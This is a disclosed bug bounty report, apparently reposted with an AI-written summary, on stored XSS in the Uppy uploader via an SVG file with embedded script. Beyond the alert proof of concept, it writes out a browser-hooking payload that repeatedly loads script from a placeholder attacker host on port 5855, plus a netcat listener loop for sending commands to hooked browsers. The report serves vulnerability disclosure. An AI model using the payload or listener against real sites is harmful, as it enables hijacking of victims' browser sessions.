[uppy] Stored XSS due to crafted SVG file
Uppy, a file uploader, did not safely handle SVG files, allowing an attacker to upload a crafted SVG containing JavaScript. When a victim viewed the uploaded SVG, the script executed in the context of the application, enabling stored cross-site scripting.
Originally disclosed on HackerOne
- Triaged in 23 hours
- Disclosed after 26 days
NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
Module: Uppy. Affected version: 0.22.2 (current build) Summary: Uppy is a modular file uploader for node js . Due to insecure handling of SVG image files, an attacker could upload a crafted SVG file and perform a stored XSS with Dom access. SVG can use JavaScript in them and still be treated as images by the website, special care is needed to be taken with SVG files to prevent stored xss.
Description: We can create a svg file with the following code.
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>```
Then save as svg and upload to our application then click to visit the page. We can create an alert box with access to Dom enabling cooking theft or other forms of attacks such as serving malicious software.
## Steps To Reproduce:
I used [the sample code for their dashboard](https://uppy.io/examples/dashboard// "With a Title") to test this proof of concept on my own server. We go to our dashboard and click file from our computer then select our crafted SVG file then click the upload. Then click our SVG file to be taken to where it was uploaded and receive an alert box with the web page's location.
## Impact: An adversary can leverage this vulnerability to enable a persistent java script execution on the web page which can then lead to performing malicious actions without user knowledge.
## Impact
An adversary can leverage this vulnerability to hook user's browsers and send java script commands to it interactively thus leading to further compromise of the user or users who visit this webpage . An example of this would being using ```setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:5855'},100)```
Then setting a listener on our host unix host with the following command, ```while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done``
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application allowed SVG uploads and served them without sanitisation or with a content type that permits script execution.
Impact
An attacker could execute persistent JavaScript in a victim's browser, potentially leading to cookie theft or further compromise, though the report does not demonstrate a specific real-world attack beyond an alert.
What the attacker needed
Ability to upload files; victim views the uploaded SVG
How it was found
- Create an SVG file containing a script element.
- Upload the SVG file through the Uppy dashboard.
- Click on the uploaded SVG file to view it.
- Observe the script executing (e.g., an alert box showing the page location).
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SVG files are images that can also contain scripts. If a website lets people upload SVG files and then shows them without cleaning them, an attacker can hide malicious code in the image. When someone opens that image, the code runs in their browser, letting the attacker steal information or control their session.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.